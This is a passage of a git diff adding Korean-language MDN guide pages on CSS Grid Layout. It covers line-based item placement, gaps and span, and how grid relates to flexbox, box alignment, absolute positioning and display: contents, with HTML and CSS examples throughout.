{{ EmbedLiveSample('New_Shorthand', '300', '330') }}

+
+ +

grid-area 프로퍼티

+ +

우리는 여기서 한 발 더 나가 각 영역을 단 하나의 프로퍼티인 {{cssxref("grid-area")}}로 정의할 수도 있습니다. grid-area 값의 순서는 다음과 같습니다.

+ +
    +
  • grid-row-start
  • +
  • grid-column-start
  • +
  • grid-row-end
  • +
  • grid-column-end
  • +
+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+   grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+   grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+   grid-area: 3 / 2 / 4 / 4;
+}
+
+ +

{{ EmbedLiveSample('grid-area_프로퍼티', '300', '330') }}

+ +

grid-area 값의 순서는 약간 이상하게 보일 수도 있는데, 예를 들어 마진과 패딩을 단축용법을 써서 지정할 때의 순서와 완전 정반대입니다. 하지만, 그리드가 CSS 문서 작성 모드(CSS Writing Modes) 표준 명세서에 정의된 문서 흐름과 관련된 방향을 채용해서 사용한다는 것을 알게 되면 이해하기 쉽습니다. 차후에 그리드가 문서 작성 모드에 따라 어떻게 작용하는지 알아볼 예정입니다만, 개념상 다음과 같이 문서 흐름과 관련된 네 가지 방향이 있습니다:

+ +
    +
  • block-start
  • +
  • block-end
  • +
  • inline-start
  • +
  • inline-end
  • +
+ +

예를 들자면, 영문으로 쓰인 문서는 왼쪽에서 오른쪽으로 읽습니다. 이 경우 block-start는 그리드 컨테이너의 맨 위쪽에 있는 가로 행 라인이 차지하고, block-end는 컨테이너의 매 마지막 행에 있는 라인에 해당합니다. inline-start는 항상 현재의 문서 작성 모드에 따라 텍스트가 써지는 시작 지점이기 때문에 맨 왼쪽에 있는 세로 열 라인이 여기에 해당하고, inline-end는 그리드의 오른쪽 마지막 끝에 있는 세로 열 라인이 됩니다.

+ +

grid-area 프로퍼티를 써서 그리드 영역을 지정할 땐, 우선 시작 라인인 block-startinline-start를 먼저 정의하고, 나중에 마지막 라인으로 block-endinline-end를 정의합니다. 이것은 보통 우리가 top, right, bottom 그리고 left 순서의 물리적 프로퍼티를 사용하는 데 익숙하다는 점을 생각하면 이상하게 보일 수도 있지만, 웹사이트의 문서 작성 모드가 여러 방향일 수 있다는 점을 고려하면 이해가 쉬우실 겁니다.

+ +

거꾸로 세기

+ +

우리는 또한 그리드의 블록(block)과 인라인(inline) 지점의 끝에서부터 거꾸로 셀 수도 있는데, 영문 문서의 경우 이것은 맨 오른쪽 세로 열 라인과 마지막 가로 행 라인이 여기에 해당합니다. 이 라인들은 -1로 지칭할 수 있으며, 여기서 거꾸로 셀 수도 있습니다. 그래서 끝에서 두 번째 라인은 -2가 됩니다. 한 가지 주의할 점은, 여기서 말하는 마지막 라인은 명시적으로 grid-template-columnsgrid-template-rows로 정의한 그리드에 있는 마지막 라인을 가리키며, 이 바깥에 있는 잠재적 그리드에 추가된 행이나 열을 고려하지는 않습니다.

+ +

다음 예제에는 아이템을 배치할 때 그리드의 오른쪽과 아래에서부터 작업을 시작해서 이전에 작성했던 레이아웃을 거꾸로 뒤집어 보았습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: -1;
+   grid-column-end: -2;
+   grid-row-start: -1;
+   grid-row-end: -4;
+}
+.box2 {
+   grid-column-start: -3;
+   grid-column-end: -4;
+   grid-row-start: -1;
+   grid-row-end: -3;
+}
+.box3 {
+   grid-column-start: -2;
+   grid-column-end: -3;
+   grid-row-start: -1;
+   grid-row-end: -2;
+}
+.box4 {
+   grid-column-start: -2;
+   grid-column-end: -4;
+   grid-row-start: -3;
+   grid-row-end: -4;
+}
+
+ +

{{ EmbedLiveSample('거꾸로_세기', '300', '330') }}

+ +

그리드 전체에 걸치도록 아이템 늘리기

+ +

아이템을 그리드 전체에 걸치도록 늘리려 할 때 유용한 방법으로 다음과 같이 그리드의 시작과 끝의 라인을 지정해줄 수 있습니다:

+ +
.item {
+  grid-column: 1 / -1;
+}
+
+ +

경계 여백 혹은 간격

+ +

CSS 그리드 표준 명세서에는 {{cssxref("grid-column-gap")}}과 {{cssxref("grid-row-gap")}} 프로퍼티를 써서 열과 행 트랙 사이에 경계 여백을 정의해 줄 수 있는 기능이 포함되어 있습니다. 이것은 다중 칼럼 레이아웃에 있는 {{cssxref("column-gap")}} 프로퍼티와 비슷하게 작용해서 트랙 사이의 간격을 지정합니다.

+ +

간격은 오직 그리드의 트랙 사이에서만 위치하고, 컨테이너의 위나 아래 혹은 왼쪽과 오른쪽에 공간을 추가하지 않습니다. 이전 예제에 있는 그리드 컨테이너에 여기에 소개한 프로퍼티를 사용하여 간격을 추가한 모습을 아래에서 확인하실 수 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-column-gap: 20px;
+     grid-row-gap: 1em;
+}
+
+ +

{{ EmbedLiveSample('경계_여백_혹은_간격', '300', '350') }}

+ +

그리드 간격의 단축용법

+ +

앞서 소개한 두 개의 프로퍼티 또한 단축용법인 {{cssxref("grid-gap")}}으로 표현해 줄 수 있습니다. 만약에 grid-gap 값으로 하나만 지정하면, 열과 행 간격 모두에 같이 적용됩니다. 그리고 두 개의 값을 지정하면, 처음 것은 grid-row-gap에 사용되고 두 번째 것은 grid-column-gap에 사용됩니다.

+ +
.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-gap: 1em 20px;
+}
+
+ +

라인을 기준으로 한 아이템 배치 관점에서 보면, 이 간격은 마치 라인에 너비를 더한 것처럼 작용합니다. 특정 라인을 시작으로 배치되는 아이템은 간격 다음에 있는 지점에서부터 놓이게 되며, 간격을 차지하거나 그 안에 배치될 수 없습니다. 만약에 경계 여백이 일반 트랙처럼 작용하길 원하시면, 대신에 해당 목적의 트랙을 따로 지정해서 사용하길 바랍니다.

+ +

span 키워드 사용법

+ +

번호를 붙여서 시작과 마지막 라인을 지정하는 법과 더불어, 시작 라인을 지정한 후 원하는 만큼의 영역을 가로질러 확장하는 트랙의 수를 지정해서 사용하실 수도 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+   grid-column: 3;
+   grid-row: 1 / span 2;
+}
+.box3 {
+   grid-column: 2;
+   grid-row: 1;
+}
+.box4 {
+   grid-column: 2 / span 2;
+   grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('span_키워드_사용법', '300', '330') }}

+ +

또한, grid-row-start/grid-row-end 그리고 grid-column-start/grid-column-end 값에도 span 키워드가 쓰일 수 있습니다. 다음의 두 예제에서는 서로 같은 그리드 영역을 만듭니다. 첫 번째 예제에서는 가로 열의 시작 라인을 지정한 후에, 마지막 라인은 3개의 라인을 가로질러 위치하도록 설정하였습니다. 그래서 영역은 1번 라인부터 시작해서 3개의 라인을 가로질러 4번 라인까지 차지하게 됩니다.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: 1;
+    grid-row-end: span 3;
+}
+
+ +

두 번째 예제에선, 아이템이 끝나는 지점에 있는 마지막 라인을 지정한 다음 시작 라인을 span 3으로 설정하였습니다. 이 얘기는 아이템이 지정한 마지막 가로 열 라인으로부터 위쪽으로 확장해야 한다는 뜻입니다. 이렇게 하면, 영역은 4번 라인부터 시작해서 3개의 라인을 가로질러 1번 라인까지 차지하게 됩니다.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: span 3;
+    grid-row-end: 4;
+}
+
+ +

그리드 라인을 기준으로 아이템을 배치하는 법에 익숙해지시려면, 다양한 수의 열로 이뤄진 그리드에 아이템들을 배치하시면서 몇 가지 일반적 레이아웃을 만들어보는 여러 시도를 해보시기 바랍니다. 여기서 주의할 점은 모든 아이템의 위치를 일일이 지정하지 않았다면, 나머지 아이템들은 자동 배치 규칙에 따라 배치된다는 것을 명심하시기 바랍니다. 이런 레이아웃이 원하시는 것일 수도 있지만, 만약에 의도치 않은 곳에 아이템이 표시된다면, 해당 아이템의 위치를 지정해 주었는지 꼭 확인해 보십시오.

+ +

또한, 그리드에 배치된 아이템들은 원하시면 명확히 지정해서 서로 자리가 겹치게 할 수도 있다는 것을 잊지 마십시오. 이렇게 하면 특이하고 멋진 효과를 만들어 낼 수도 있습니다만, 만약에 시작 혹은 마지막 라인을 잘못 지정해 놓았다면, 의도치 않은 곳에서 서로 겹쳐 버리는 결과를 가져올 수도 있습니다. Firefox Grid Highlighter는 배우시면서 매우 유용하게 사용될 수 있는데, 특히나 그리드가 상당히 복잡한 경우에는 더 그렇습니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html new file mode 100644 index 0000000000..8483386140 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -0,0 +1,625 @@ +--- +title: Relationship of grid layout to other layout methods +slug: Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout +--- +

CSS 그리드 레이아웃은 레이아웃 작업을 위한 전체 시스템 중의 일부로서, 다른 CSS 기술과 함께 어우러져 작동하도록 설계되었습니다. 이번 가이드에서는 이미 사용하고 계신 다른 기술과 그리드가 어떻게 잘 어울리는지 설명해 드리겠습니다.

+ +

그리드와 플랙스박스

+ +

CSS 그리드 레이아웃과 CSS 플랙스박스(Flexbox) 레이아웃의 기본 차이점이라면, 플랙스박스는 한 줄로 된 행 혹은 열 방향의 레이아웃과 같이 일차원의 레이아웃을 염두에 두고 설계되었다는 점입니다. 하지만, 그리드는 행과 열 모두를 염두에 둔 2차원적 레이아웃을 고려해서 설계되었습니다. 그러나 두 기술은 몇 가지 공통된 면모를 공유하고 있어서, 이미 플랙스박스 사용법을 익히셨다면 그리드를 이해하는 데도 도움이 될 만한 둘 사이의 유사점을 목격하실 수도 있습니다.

+ +

1차원적 대비 2차원적 레이아웃

+ +

간단한 예를 들면, 1차원 및 2차원 레이아웃의 차이점은 확연해집니다.

+ +

첫 번째 예제에서는 플랙스박스를 써서 일련의 네모난 상자들을 배치하였습니다. 컨테이너 안에는 다섯 개의 자식 아이템이 있고, 플랙스 기준값 200픽셀을 기반으로 아이템이 늘어나거나 줄어들도록 flex 프로퍼티 값을 지정하였습니다.

+ +

또한, {{cssxref("flex-wrap")}} 프로퍼티 값으로 wrap을 지정해서, 만약 컨테이너 안에 있는 공간이 플랙스 기준값 너비의 아이템들을 모두 나열하지 못할 만큼 좁아진다면, 다음 행으로 줄 바꿈 하도록 하였습니다.

+ +
+ + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper > div {
+  flex: 1 1 200px;
+}
+
+
+ +

{{ EmbedLiveSample('onedtwod', '500', '230') }}

+ +

위의 그림에서 보시다시피, 두 개의 아이템이 다음 행으로 줄 바꿈 한 것을 확인하실 수 있습니다. 이 아이템들은 남은 공간을 공유하며 아래 위치한 아이템들은 위에 있는 것들과는 일렬로 정렬되지 않았습니다. 이는 플랙스 아이템이 다음 열로 감길 때, 새로운 각각의 행 (또는 세로 열 기준으로 작업할 경우 각각의 열)이 새로운 플랙스 컨테이너가 되기 때문입니다. 그래서 공간의 분배는 가로 행을 기준으로 이루어집니다.

+ +

여기서 자주 던지는 질문으로, 그러면 이런 아이템을 어떻게 하면 일렬로 정렬할 수 있을까입니다. 이럴 땐 2차원적 레이아웃 방법을 고려해 볼 수 있습니다. 아이템을 정렬할 때 행과 열을 기준으로 제어하고 싶다면, 이런 경우엔 그리드가 제격입니다.

+ +

CSS 그리드를 이용한 동일 레이아웃 구현

+ +

다음 예제에선 그리드를 써서 똑같은 레이아웃을 만들어 보았습니다. 이번엔 1fr 크기로 된 세 개의 세로 열 트랙으로 이루어져 있습니다. 아이템 자체에는 아무것도 설정할 필요가 없고, 아이템들은 생성된 그리드의 각 셀에 하나씩 배치됩니다. 보시다시피 아이템들은 행과 열에 줄지어서 그리드 위에 정확히 맞추어져 있습니다. 아이템이 다섯 개인 경우, 2번째 행의 끝부분은 빈 곳으로 남게 됩니다.

+ +
+ + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}

+
+ +

그리드와 플랙스박스 둘 사이의 선택을 고민할 때 자신에게 던질 수 있는 간단한 질문으로:

+ +
    +
  • 레이아웃을 조정할 때 오직 가로 행 혹은 세로 열 만이 고려 대상이라면 – 플랙스박스를 사용하십시오
  • +
  • 레아아웃을 조정할 때 가로 행과 세로 열 모두를 염두에 두어야 한다면 – 그리드를 사용하십시오
  • +
+ +

콘텐츠 중심 혹은 레이아웃 먼저?

+ +

1차원 대비 2차원의 차이점 외에도, 레이아웃을 할 때 플랙스박스와 그리드 중에서 어떤 것을 써야 할지를 결정하는 또 다른 요인이 있습니다. 플랙스박스는 좀 더 콘텐츠에 초점이 맞춰져 있습니다. 플랙스박스의 이상적인 사용 사례는 여러 아이템을 컨테이너에 고르게 배치하려는 경우입니다. 여기서 콘텐츠의 크기가 각 아이템이 차지하는 공간을 결정합니다. 아이템이 새로운 줄로 줄 바꿈 되면, 아이템의 크기와 해당 줄의 사용 가능한 공간에 따라 간격이 조정됩니다.

+ +

그리드는 레이아웃을 먼저 고려하게 됩니다. CSS 그리드 레이아웃을 사용할 때는 우선 레이아웃을 작성한 다음 그 위에 아이템을 배치하거나, 자동 배치 규칙을 통해 견고하게 짜인 그리드 위에 놓인 그리드 셀에 아이템을 배치하게 됩니다. 콘텐츠의 크기에 따라 조절되는 트랙을 만들 수도 있지만, 이렇게 하면 전체 트랙을 변경하게 됩니다.

+ +

플랙스박스를 사용하면서 그 특유의 유연성 때문에 제약을 느낀다면, CSS 그리드 레이아웃을 고려해 보시는 것도 좋을 겁니다. 예를 들어 윗줄에 있는 다른 아이템과 일렬로 정렬되게 하려고 굳이 플랙스 아이템에 퍼센트 너비를 지정해야 할 때가 있는데, 이 경우 그리드가 더 나은 선택이 될 수 있습니다.

+ +

박스 정렬

+ +

플랙스박스의 기능 중 많은 사람이 가장 흥미롭게 여겼던 것은 처음으로 적절한 정렬 제어 기능을 제공한다는 것입니다. 그래서 이젠 박스를 페이지의 중앙에 손쉽게 배치할 수도 있게 되었습니다. 플렉스 아이템은 플렉스 컨테이너의 높이만큼 늘어날 수도 있어서, 같은 높이의 칼럼 레이아웃을 구현할 수도 있습니다. 이것은 개발자가 아주 오랫동안 원했던 것이어서, 그동안 최소한 시각적 효과라도 흉내 내기 위해 온갖 종류의 꼼수를 고안해 내기도 했었습니다.

+ +

플랙스박스 표준 명세서에 있는 정렬 프로퍼티는 박스 정렬 레벨(Box Alignment Level) 3의 새로운 표준에 추가되었습니다. 이 말은 그리드 레이아웃을 비롯한 다른 표준에서도 사용할 수 있다는 뜻입니다. 그래서 미래에는 다른 레이아웃 방법에도 똑같이 적용될 수 있습니다.

+ +

이 가이드 시리즈의 후반부에서 박스 정렬에 관해 자세히 알아볼 것이며 또한, 그리드 레이아웃에서 어떻게 작동하는지도 살펴보겠습니다. 하지만 여기서는 플랙스박스와 그리드를 비교하는 간단한 예제를 살펴보겠습니다.

+ +

플랙스박스를 사용하는 첫 번째 예제에는 컨테이너 안에 세 개의 아이템이 있습니다. 감싸고 있는 요소에 {{cssxref("min-height")}}를 지정해서, 플랙스 컨테이너의 높이를 정의해 줍니다. 플렉스 컨테이너의 {{cssxref("align-items")}} 값을 flex-end로 설정하여 아이템이 플랙스 컨테이너의 끝에 정렬되도록 했습니다. 또한, box1에 {{cssxref("align-self")}} 프로퍼티를 설정하여 기본값을 덮어씌우면서 컨테이너의 높이 만큼 늘어나게 하였고, box2에는 플랙스 컨테이너의 시작 지점에 정렬되도록 하였습니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+
+ +

{{ EmbedLiveSample('박스_정렬', '300', '230') }}

+ +

CSS 그리드에서의 정렬

+ +

다음 두 번째 예제에서는 그리드를 써서 앞에서와 똑같은 레이아웃을 구현했습니다. 이번에는 그리드 레이아웃에 적용할 때 쓰는 박스 정렬 프로퍼티를 사용하였습니다. 그래서 flex-startflex-end가 아닌 startend를 써서 정렬합니다. 그리드 레이아웃의 경우 해당 그리드 영역을 기준으로 내부에 있는 아이템들을 정렬합니다. 이번 경우에는 단일 그리드 셀로 되어 있지만, 그리드 영역이 여러 그리드 셀로 구성되어 있을 수도 있습니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+
+ +

{{ EmbedLiveSample('CSS_그리드에서의_정렬', '200', '310') }}

+ +

fr 단위와 flex-basis

+ +

우리는 이미 fr 단위가 어떻게 그리드 컨테이너 속 사용 가능한 공간을 비율에 따라 그리드 트랙에 할당하는지 보았습니다. fr 단위가 {{cssxref("minmax", "minmax()")}} 함수와 결합하면 플랙스박스의 flex 프로퍼티와 매우 유사한 동작을 구현할 수 있으며, 동시에 2차원 레이아웃을 구성할 수도 있습니다.

+ +

이전의 1차원과 2차원 레이아웃의 차이점을 보여주는 예제를 살펴보면, 두 레이아웃이 반응하는 방식에 차이가 있다는 점을 아실 수 있습니다. 플랙스 레이아웃의 경우, 브라우저 창을 더 넓거나 좁게 드래그하면, 플랙스 박스는 사용 가능한 공간에 따라 각 행에 나열되는 아이템의 수를 적절하게 조정합니다. 공간이 많다면 5개의 아이템 모두가 한 행에 들어갈 수 있을 것이며, 컨테이너 너비가 매우 좁다면 단지 하나의 아이템이 들어갈 만한 공간이 남을 수도 있을 겁니다.

+ +

반면에, 그리드 버전에는 항상 세 개의 열 트랙이 있게 됩니다. 트랙 자체가 넓어지거나 줄어들 수 있지만, 그리드를 정의할 때 세 개를 지정했으면 무조건 세 개의 트랙이 있게 됩니다.

+ +

자동으로 채워지는 그리드 트랙

+ +

트랙의 목록을 생성할 때 반복 표기법과 auto-fillauto-fit 프로퍼티를 사용하면 지정한 행과 열에 맞추면서도 플랙스박스와 유사한 효과를 내도록 콘텐츠를 정렬할 수도 있습니다.

+ +

다음 예제에서는 반복 표기법을 지정할 때 정수 대신 auto-fill 키워드를 사용하였고 기준 크기가 200픽셀이 되도록 트랙 목록을 설정했습니다. 즉, 그리드는 컨테이너에 200픽셀 너비의 세로 열 트랙을 채울 수 있을 만큼의 개수를 생성하게 됩니다.

+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+
+ +

{{ EmbedLiveSample('자동으로_채워지는_그리드_트랙', '500', '170') }}

+ +

변동 가능한 트랙의 수

+ +

이것은 플랙스박스와 완전히 똑같지는 않습니다. 플랙스박스 예제에서는 아이템이 다음 줄로 행 바꿈 하기 전에는 기본값인 200픽셀보다 더 넓었습니다. 그리드에서는 auto-fill과 {{cssxref("minmax", "minmax()")}} 함수를 결합해서 비슷한 결과를 얻을 수 있습니다. 다음 예제에선 minmax를 써서 자동으로 채워지는 트랙을 만들었습니다. 트랙은 최소 200픽셀부터 시작해서 최대 1fr까지 늘어날 수 있도록 설정하였습니다. 브라우저는 우선 200픽셀 크기의 아이템을 (그리드 간격도 함께 고려해서) 컨테이너에 몇 개로 채울 수 있을지 계산을 하고 나서, 남아있는 공간을 최대치 1fr 기준으로 아이템들끼리 공유하면서 서로 늘어나도록 합니다.

+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+ +

{{ EmbedLiveSample('변동_가능한_트랙의_수', '500', '170') }}

+ +

이렇게 해서, 크기와 개수가 변동적인 트랙들로 구성된 그리드를 만들 수 있게 되었으며, 동시에 아이템들을 일정한 행과 열로 정렬할 수도 있음을 확인하였습니다.

+ +

그리드와 단독으로 위치를 지정한 요소

+ +

그리드는 단독으로 위치 지정된 요소와 상호 작용하면서, 그리드 또는 그리드 영역 내에 아이템을 배치할 때 유용하게 사용될 수 있습니다. 표준 명세서에는 그리드 컨테이너가 요소를 감싸는 컨테이닝 블록(containing block)으로서, 그리드 컨테이너가 단독으로 위치를 지정한 아이템의 부모 요소일 때 동작하는 방식을 정의하고 있습니다.

+ +

컨테이닝 블록으로서의 그리드 컨테이너

+ +

그리드 컨테이너를 컨테이닝 블록으로 만들려면, 다른 단독으로 위치를 지정한 아이템을 감싸고 있는 요소를 컨테이닝 블록을 만들 때와 마찬가지로, 컨테이너에 position 프로퍼티로 relative 값을 추가해야 합니다. 이렇게 하면, 그리드 아이템에 position: absolute를 지정할 경우 그리드 컨테이너가 컨테이닝 블록이 되며, 또 해당 아이템에 그리드 위칫값이 추가로 지정되었을 때는, 배치된 그리드 영역이 컨테이닝 블록으로 작용합니다.

+ +

아래 예제에서는 네 개의 하위 아이템을 감싸는 wrapper 클래스의 블록이 있습니다. 3번 아이템은 단독으로 위치가 지정되었으며 라인을 기반으로 그리드에 배치되었습니다. 그리드 컨테이너에 position: relative를 지정해서 이 아이템이 위치를 잡을 때 참고하는 기준 요소가 됩니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">
+   This block is absolutely positioned. In this example the grid container is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the area it has been placed into.
+  </div>
+  <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+  position: relative;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: absolute;
+  top: 40px;
+  left: 40px;
+}
+
+ +

{{ EmbedLiveSample('컨테이닝_블록으로서의_그리드_컨테이너', '500', '330') }}

+ +

여기서 아이템이 그리드의 세로 열 2번 라인부터 4번 라인까지, 그리고 가로 행 1번 라인을 시작으로 그리드 영역을 차지하고 있는 것을 확인하실 수 있습니다. 하지만, 단독으로 위치를 지정한 일반 아이템의 경우와 마찬가지로 문서 흐름에서 제외되면서, 자동 배치 규칙에 따라 해당 공간에 다른 아이템들을 배치하게 됩니다. 또한, 이로 인해 아이템이 추가 행을 생성하지 않게 되면서 가로 행 3번 라인까지 확장하지 않게 되었습니다.

+ +

만약에 .box3의 규칙 중에 position: absolute를 없애버리면, 위치를 지정하지 않았을 경우 표시될 원래의 자리로 돌아가는 것을 확인하실 수 있습니다.

+ +

부모 요소로서의 그리드 컨테이너

+ +

만약에 단독으로 위치를 지정한 자식 요소가 그리드 컨테이너에 속해 있지만, 해당 컨테이너가 위치를 참고하는 새로운 기준 요소로 정의되지 않았다면, 앞의 예제에서처럼 일반 배치 흐름에서 배제됩니다. 위치의 기준이 되는 요소는, 다른 레이아웃 방법에 공통으로 적용되는 것과 마찬가지로, 새로운 위치 기준 요소로 정의된 요소가 맡게 됩니다. 이번 경우에 만약 위에 있는 감싸는 요소에서 position: relative를 삭제한다면, 위치의 기준이 되는 것은 아래의 그림에서 보여주듯이 최상위 도큐먼트 오브젝트에 해당하는 기본 뷰포트(viewport)가 맡게 됩니다.

+ +

부모 요소로서의 그리드 컨테이너 모습을 담은 그림

+ +

여기도 마찬가지로 해당 아이템은, 다른 아이템들의 크기 조정과 자동 배치와 관련해서, 더는 그리드 레이아웃에 관여하지 않게 됩니다.

+ +

부모 요소가 그리드 영역일 때

+ +

만약에 단독으로 위치를 지정한 아이템이 그리드 영역 안에 자리 잡고 있다면, 해당 영역을 위치의 기준이 되는 요소로 정의할 수 있습니다. 아래 예제에서는 전과 같은 그리드가 정의되어 있습니다만, 이번엔 그리드의 .box3 안에 또 하나의 아이템을 중첩해 놓았습니다.

+ +

.box3의 position 값으로 relative를 지정했으며 그 밑에 있는 아이템에는 원래의 위치에서 벗어난 값을 따로 지정하였습니다. 이 경우 위치의 기준이 되는 요소는 그리드 영역이 됩니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three
+    <div class="abspos">
+     This block is absolutely positioned. In this example the grid area is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the grid area.
+    </div>
+  </div>
+  <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+
+ +

{{ EmbedLiveSample('부모_요소가_그리드_영역일_때', '500', '420') }}

+ +

그리드와 display: contents

+ +

마지막으로 눈여겨볼 또 하나의 레이아웃 표준과 관련된 상호 작용으로 CSS 그리드 레이아웃과 display: contents 사이의 상호 작용이 있습니다. display 프로퍼티의contents 값은 Display 표준 명세서에 새로 정의된 것으로 다음과 같이 설명되어 있습니다:

+ +
+

“요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다.”

+
+ +

만약에 아이템에 display: contents를 지정하면 보통 해당 요소가 만드는 박스는 사라지고, 자식 요소의 박스가 한 단계 상승한 것처럼 그 자리를 차지하게 됩니다. 이 얘기는 그리드 아이템의 자식 요소가 그리드 아이템이 될 수도 있다는 뜻입니다. 이상하게 들리시죠? 다음에 간단한 예를 들어보겠습니다. 아래 마크업에는 그리드가 있고, 이 그리드에 있는 첫 번째 아이템이 세 개의 열 트랙 모두를 가로지르도록 설정하였습니다. 또한, 이 아이템은 세 개의 중첩된 아이템들을 포함하고 있습니다. 이 아이템들은 컨테이너 바로 밑에 있는 자식 요소가 아니므로, 그리드 레이아웃의 일원으로 참여하지 않으면서 보통의 일반 블록 레이아웃으로 표시됩니다.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+
+ +

{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}

+
+ +

이제 .box1display: contents규칙을 추가하면, 해당 아이템이 차지하고 있는 박스가 사라지면서 하위 아이템들이 그리드 아이템 자격을 얻게 되어 자동 배치 규칙에 따라 알아서 배치됩니다.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+
+ +

{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}

+
+ +

